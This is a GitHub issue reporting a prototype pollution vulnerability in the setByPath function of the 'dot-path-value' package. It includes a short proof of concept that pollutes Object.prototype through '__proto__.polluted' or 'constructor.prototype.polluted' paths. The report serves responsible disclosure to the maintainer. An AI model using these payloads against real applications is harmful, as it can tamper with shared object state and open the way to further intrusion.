Skip to content

Prototype Pollution of setByPath #18

@cstimkong

Description

@cstimkong

I have found a prototype pollution vulnerability, below is the PoC:

var path = require('dot-path-value');
assert(({}).polluted === undefined);

path.setByPath({}, '__proto__.polluted', 'yes'); 
// or path.setByPath({}, 'constructor.prototype.polluted', 'yes')

assert(({}).polluted === 'yes');

Please kindly review.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions